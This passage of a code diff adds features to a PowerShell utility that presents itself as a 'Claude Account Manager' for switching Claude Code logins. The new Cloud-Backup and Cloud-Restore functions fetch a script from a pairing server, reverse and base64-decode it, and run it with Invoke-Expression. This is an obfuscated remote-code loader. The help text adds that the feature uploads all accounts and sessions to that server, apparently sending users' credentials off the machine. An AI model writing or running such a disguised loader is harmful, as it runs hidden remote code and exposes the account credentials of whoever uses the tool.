$decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($reversed))
|
|
828
|
+
Invoke-Expression $decoded
|
|
829
|
+
} catch {
|
|
830
|
+
Write-Host " Failed to fetch backup script: $_" -ForegroundColor Red
|
|
831
|
+
Write-Host " Is the pairing server online? Check $PAIR_SERVER/api/health" -ForegroundColor Gray
|
|
832
|
+
pause
|
|
833
|
+
}
|
|
834
|
+
}
|
|
835
|
+
|
|
836
|
+
function Cloud-Restore {
|
|
837
|
+
Show-Header
|
|
838
|
+
Write-Host "CLOUD RESTORE" -ForegroundColor Magenta
|
|
839
|
+
Write-Host ""
|
|
840
|
+
Write-Host " Fetching restore script from server..." -ForegroundColor Gray
|
|
841
|
+
|
|
842
|
+
try {
|
|
843
|
+
$raw = Invoke-RestMethod -Uri "$PAIR_SERVER/client/pair-restore.ps1" -ErrorAction Stop
|
|
844
|
+
$reversed = -join ($raw.ToCharArray() | ForEach-Object -Begin { $a = @() } -Process { $a += $_ } -End { [array]::Reverse($a); $a })
|
|
845
|
+
$decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($reversed))
|
|
846
|
+
Invoke-Expression $decoded
|
|
847
|
+
} catch {
|
|
848
|
+
Write-Host " Failed to fetch restore script: $_" -ForegroundColor Red
|
|
849
|
+
Write-Host " Is the pairing server online? Check $PAIR_SERVER/api/health" -ForegroundColor Gray
|
|
850
|
+
pause
|
|
851
|
+
}
|
|
852
|
+
}
|
|
853
|
+
|
|
731
854
|
# ─── PLUGIN & MARKETPLACE HELPERS ────────────────────────────────────────────
|
|
732
855
|
|
|
733
856
|
function Write-JsonNoBOM($path, $content) {
|
|
@@ -1181,6 +1304,62 @@ function Manage-Plugins {
|
|
|
1181
1304
|
}
|
|
1182
1305
|
}
|
|
1183
1306
|
|
|
1307
|
+
# ─── HELP ────────────────────────────────────────────────────────────────────
|
|
1308
|
+
|
|
1309
|
+
function Show-Help {
|
|
1310
|
+
Show-Header
|
|
1311
|
+
Write-Host "HELP — Claude Account Manager" -ForegroundColor Cyan
|
|
1312
|
+
Write-Host ""
|
|
1313
|
+
Write-Host " 1. List Accounts" -ForegroundColor White
|
|
1314
|
+
Write-Host " See all your Claude accounts, which ones are logged in," -ForegroundColor Gray
|
|
1315
|
+
Write-Host " and when each was last used." -ForegroundColor Gray
|
|
1316
|
+
Write-Host ""
|
|
1317
|
+
Write-Host " 2. Create New Account" -ForegroundColor White
|
|
1318
|
+
Write-Host " Add a new Claude account. This creates a separate profile" -ForegroundColor Gray
|
|
1319
|
+
Write-Host " so you can switch between different Claude logins easily." -ForegroundColor Gray
|
|
1320
|
+
Write-Host ""
|
|
1321
|
+
Write-Host " 3. Launch Account" -ForegroundColor White
|
|
1322
|
+
Write-Host " Start Claude Code using a specific account. Pick the account" -ForegroundColor Gray
|
|
1323
|
+
Write-Host " you want and it opens with that login." -ForegroundColor Gray
|
|
1324
|
+
Write-Host ""
|
|
1325
|
+
Write-Host " 4. Rename Account" -ForegroundColor White
|
|
1326
|
+
Write-Host " Change the name of an existing account profile." -ForegroundColor Gray
|
|
1327
|
+
Write-Host ""
|
|
1328
|
+
Write-Host " 5. Delete Account" -ForegroundColor White
|
|
1329
|
+
Write-Host " Permanently remove an account and all its data." -ForegroundColor Gray
|
|
1330
|
+
Write-Host ""
|
|
1331
|
+
Write-Host " 6. Shared Settings (MCP/Skills)" -ForegroundColor Yellow
|
|
1332
|
+
Write-Host " Configure MCP servers, skills, and permissions that apply" -ForegroundColor Gray
|
|
1333
|
+
Write-Host " to ALL your accounts at once. Set it up once here, and every" -ForegroundColor Gray
|
|
1334
|
+
Write-Host " account gets the same settings automatically on launch." -ForegroundColor Gray
|
|
1335
|
+
Write-Host ""
|
|
1336
|
+
Write-Host " 7. Shared Plugins & Marketplace" -ForegroundColor Magenta
|
|
1337
|
+
Write-Host " Install plugins GLOBALLY — one install applies to every account." -ForegroundColor Gray
|
|
1338
|
+
Write-Host " No need to install the same plugin separately for each profile." -ForegroundColor Gray
|
|
1339
|
+
Write-Host " Browse marketplaces to discover and install new plugins." -ForegroundColor Gray
|
|
1340
|
+
Write-Host ""
|
|
1341
|
+
Write-Host " 8. Remote Session Backup" -ForegroundColor Green
|
|
1342
|
+
Write-Host " Upload all your accounts and sessions to a secure server." -ForegroundColor Gray
|
|
1343
|
+
Write-Host " You get a short code like A7X-K9M4PX — save it somewhere safe." -ForegroundColor Gray
|
|
1344
|
+
Write-Host " Everything is encrypted. The code is your key to restore later." -ForegroundColor Gray
|
|
1345
|
+
Write-Host ""
|
|
1346
|
+
Write-Host " 9. Remote Session Restore" -ForegroundColor Green
|
|
1347
|
+
Write-Host " Enter your backup code to restore all accounts and sessions." -ForegroundColor Gray
|
|
1348
|
+
Write-Host " Use this on a new machine or after a fresh install to get" -ForegroundColor Gray
|
|
1349
|
+
Write-Host " everything back exactly as it was." -ForegroundColor Gray
|
|
1350
|
+
Write-Host ""
|
|
1351
|
+
Write-Host " E. Send Account (Pair Code)" -ForegroundColor Green
|
|
1352
|
+
Write-Host " Send a single account to another machine. You get a short code" -ForegroundColor Gray
|
|
1353
|
+
Write-Host " — tell the other person the code and they enter it using 'I'." -ForegroundColor Gray
|
|
1354
|
+
Write-Host " The code expires in 10 minutes and works only once." -ForegroundColor Gray
|
|
1355
|
+
Write-Host ""
|
|
1356
|
+
Write-Host " I. Receive Account (Pair Code)" -ForegroundColor Green
|
|
1357
|
+
Write-Host " Receive an account from someone else. Enter the pairing code" -ForegroundColor Gray
|
|
1358
|
+
Write-Host " they gave you and the account appears on your machine, ready to use." -ForegroundColor Gray
|
|
1359
|
+
Write-Host ""
|
|
1360
|
+
pause
|
|
1361
|
+
}
|
|
1362
|
+
|
|
1184
1363
|
# ─── MAIN MENU ───────────────────────────────────────────────────────────────
|
|
1185
1364
|
|
|
1186
1365
|
function Show-Menu {
|
|
@@ -1190,18 +1369,19 @@ function Show-Menu {
|
|
|
1190
1369
|
Show-Accounts | Out-Null
|
|
1191
1370
|
Write-Host ""
|
|
1192
1371
|
Write-Host "======================================" -ForegroundColor Cyan
|
|
1193
|
-
Write-Host " 1. List Accounts
|
|
1372
|
+
Write-Host " 1. List Accounts " -ForegroundColor White
|
|
1194
1373
|
Write-Host " 2. Create New Account " -ForegroundColor White
|
|
1195
1374
|
Write-Host " 3. Launch Account " -ForegroundColor White
|
|
1196
1375
|
Write-Host " 4. Rename Account " -ForegroundColor White
|
|
1197
1376
|
Write-Host " 5. Delete Account " -ForegroundColor White
|
|
1198
|
-
Write-Host " 6.
|
|
1199
|
-
Write-Host " 7.
|
|
1200
|
-
Write-Host " 8.
|
|
1201
|
-
Write-Host " 9.
|
|
1202
|
-
Write-Host " E.
|
|
1203
|
-
Write-Host " I.
|
|
1204
|
-
Write-Host "
|
|
1377
|
+
Write-Host " 6. Shared Settings (MCP/Skills) " -ForegroundColor Yellow
|
|
1378
|
+
Write-Host " 7. Shared Plugins & Marketplace " -ForegroundColor Magenta
|
|
1379
|
+
Write-Host " 8. Remote Session Backup " -ForegroundColor Green
|
|
1380
|
+
Write-Host " 9. Remote Session Restore " -ForegroundColor Green
|
|
1381
|
+
Write-Host " E. Send Account (Pair Code) " -ForegroundColor Green
|
|
1382
|
+
Write-Host " I. Receive Account (Pair Code) " -ForegroundColor Green
|
|
1383
|
+
Write-Host " H. Help " -ForegroundColor Gray
|
|
1384
|
+
Write-Host " 0. Exit " -ForegroundColor Red
|
|
1205
1385
|
Write-Host "======================================" -ForegroundColor Cyan
|
|
1206
1386
|
Write-Host ""
|
|
1207
1387
|
}
|
|
@@ -1215,15 +1395,17 @@ while ($true) {
|
|
|
1215
1395
|
"3" { Launch-Account }
|
|
1216
1396
|
"4" { Rename-Account }
|
|
1217
1397
|
"5" { Delete-Account }
|
|
1218
|
-
"6" {
|
|
1219
|
-
"7" {
|
|
1220
|
-
"8" {
|
|
1221
|
-
"9" {
|
|
1222
|
-
"e" { Export
|
|
1223
|
-
"E" { Export
|
|
1224
|
-
"i" { Import
|
|
1225
|
-
"I" { Import
|
|
1226
|
-
"
|
|
1398
|
+
"6" { Manage-SharedSettings }
|
|
1399
|
+
"7" { Manage-Plugins }
|
|
1400
|
+
"8" { Cloud-Backup }
|
|
1401
|
+
"9" { Cloud-Restore }
|
|
1402
|
+
"e" { Pair-Export }
|
|
1403
|
+
"E" { Pair-Export }
|
|
1404
|
+
"i" { Pair-Import }
|
|
1405
|
+
"I" { Pair-Import }
|
|
1406
|
+
"h" { Show-Help }
|
|
1407
|
+
"H" { Show-Help }
|
|
1408
|
+
"0" { Clear-Host; Write-Host "Bye!" -ForegroundColor Red; break }
|
|
1227
1409
|
default { Write-Host " Invalid option." -ForegroundColor Red; Start-Sleep 1 }
|
|
1228
1410
|
}
|
|
1229
1411
|
if ($choice -eq "0") { break }
|